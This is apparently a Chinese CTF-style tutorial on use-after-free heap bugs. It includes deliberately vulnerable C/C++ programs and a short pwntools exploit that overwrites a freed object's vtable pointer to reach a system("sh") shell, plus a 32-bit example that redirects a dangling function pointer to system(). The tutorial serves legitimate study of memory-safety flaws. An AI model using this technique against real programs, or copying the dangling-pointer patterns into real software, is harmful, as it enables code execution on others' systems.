use after free(UAF)
- 重新malloc一样的大小,会拿到曾经Free的chunk,此时就会有两个指针p,和q指向同一个内存块,使用这两个的指针操作混在一起(之前的哪个指针在chun被free后没有被置为NULL,形成悬空指针)
- 还有一个小点就是要注意在64bits的时候有可能会出现高位的\x00截断这种事情
- 这个关键的一点就是free掉的内存块,还是可以再次拿出来用的,就想之前free的chunk,malloc的也可以再次拿出来,我们看一个例子
#include<stdio.h>
#include<cstdlib>
#include<cstring>
class A{
public:
virtual void print()
{
puts("class A");
}
};
class B:public A{
public:
void print(){
puts("class B");
}
};
void sh(){
system("sh");
}
char buf[1024];
int main()
{
setvbuf(stdout,0,_IONBF,0); \\这个setvbuf是C库函数,作用跟参数有关,可以百度一下,目前的作用是
A *p = new B();
delete p;
fgets(buf,sizeof(buf),stdin);
char *q = strdup(buf); \\这个其实就是有一个malloc分配内存块然后把字符串打印进去
p->print();
}
然后就要分析一下这个源码,首先看一下strdup的源码,这个函数定义在string.h这个头文件之中,
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
那么我们开始走程序,我们在delete p下断点执行程序,然后看ida先分析一下,
我们可以看到申请了是8bit的内存空间,但是对齐到最后应该会生成一个32位大小的堆块,进GDB
我们看到分配的mem在rax里面,而且目前mem刚申请出来,还都是0,其实也可以看到,下面有一个清0的操作,下面来个图带解释
call B之后内存块是这样的
然后紧接着的delete就给全清0了
然后紧接着fgets 输入8个a ,输入到了0x601160这个bss段,然后就指向strdup函数,然后把bss段的东西读入到新申请的mem
这时候我们惊喜的发现我们之前的chunk被拿出来用了,被填上了我们的输入,那么因为之前那个指针p没有被置为NULL,所以它还是指向这里的,我们可以利用此来劫持函数流,因为源代码的下面,还可以看看ida里面,有一个p的调用:
接下来利用过程就很关键了:
我们就可以开做题了:
#coding:utf-8
from pwn import *
r = process('./use-after-free')
buf = 0x601160
system_sh = 0x000000000400906
r.sendline(p64(buf+8)+p64(system_sh)) #这个送过去的数据不能太大,太大的话就不会申请的原来的chunk,如果想要刚刚好的话是24byte,不过这个不用刚刚好,因为chunk补齐,chunk的最小刚好是32byte,+8是因为对输入的地址要进行解引用的,可以看细看解析的最后一部分
r.interactive()
下面这个是个32位的例子,来自安全客,看题目源码:
#include<stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *); //定义了一个函数指针,参数类型char *,没有返回值
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(int*)malloc(4*sizeof(int));
printf("malloc addr: %pn",p1);
p1[3]=echo; //这个代表的是分配出来的内存块的第四个
p1[3]("hello worldn");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(int*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %pn",p2);
printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("whoami"); //p1这个指针跟先前的操作一样,本来是要传个参数给echo,但是因为被p2改成evil_fuc,参数就给了evil,当然这里换成p2也可以的
return 0;
}